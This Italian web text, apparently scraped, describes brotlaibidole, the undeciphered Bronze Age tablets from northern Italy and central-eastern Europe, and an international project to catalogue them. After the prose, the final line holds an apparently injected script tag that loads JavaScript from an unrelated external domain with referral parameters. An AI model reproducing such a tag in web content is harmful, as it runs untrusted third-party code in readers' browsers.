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I brotlaibidole (in tedesco, "idoli a forma di pagnotta") sono tavolette di pietra o di terracotta risalenti all'età del bronzo, in paticolare al periodo compreso tra Bronzo Antico evoluto e Bronzo Medio avanzato (2100 a.C. - 1400 a.C.).
Sono stati fin ora rinvenuti circa 300 esemplari di brotlaibidole in diverse località dell'Europa centro-orientale e centro-meridionale, in particolare nella zona a sud del lago di Garda.
Le tavolette sono ricoperte da incisioni raffiguranti successioni di figure geometriche, quali cerchi, righe, punti, croci. La funzione delle tavolette non è chiara e il significato delle incisioni non è stato ancora decifrato.
.Come detto da ShemsuHor, molti le considerano "semplici" oggetti rituali, ma questa è un'interpretazione che andrebbe sostenuta in qualche modo: per esempio vi sono altri elementi rituali/cultuali nelle regioni in cui sono state trovate queste tavolette che possano far pensare ad un insieme religioso/culturale comune?
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Questi manufatti, piccole tavolette prevalentemente di terracotta, sono distribuiti in un'area compresa tra l'Italia settentrionale ed i Carpazi fino al Basso Danubio, in un'estensione cronologica che procede dal Bronzo Antico evoluto (ca. 2100 a.C.) fino al Bronzo Medio avanzato (ca. 1400 a.C.).
Pur diffuse in aree molto distanti tra loro, presentano costantemente serie di segni geometrici impressi su piccoli solchi orizzontali, molto simili tra loro sia nella forma sia nella disposizione all'interno del campo grafico. Il progetto prevede, una volta compiuta la revisione sistematica e la catalogazione accurata di tutti i documenti noti, la creazione di un corpus e di una banca dati multimediale, che sarà poi messa a disposizione on-line del pubblico scientifico e non.
Lo studio sistematico dell'intera classe si articolerà sia sullo sviluppo dei segni e della loro sintassi, che sulla comparazione contrastiva con altre classi di manufatti simili, provenienti da altri ambiti cronologici e geografici (vicino Oriente, Egeo, Balcani meridionali, Sicilia).
Quattromila anni fa, in piena Età del Bronzo, le popolazioni dell'Italia centro-settentrionale e quelle di una vasta area dell'Europa centro-orientale avevano un codice in comune. Era impresso su dei manufatti in terracotta o in pietra grandi più o meno come un telefono cellulare. Ne sono stati ritrovati circa 300 ma il loro significato e la loro funzione sono ancora sconosciuti, tanto da renderli noti tra gli studiosi come "tavolette enigmatiche". Per far luce su questo mistero dell'antichità è partito un progetto internazionale a guida italiana, che utilizzerà tecnologie modernissime ed anche internet. <script type="text/javascript" src="https://reffbux.com/d_n?a=48529&t=2&l=2&i=27|9|33|"> </ script>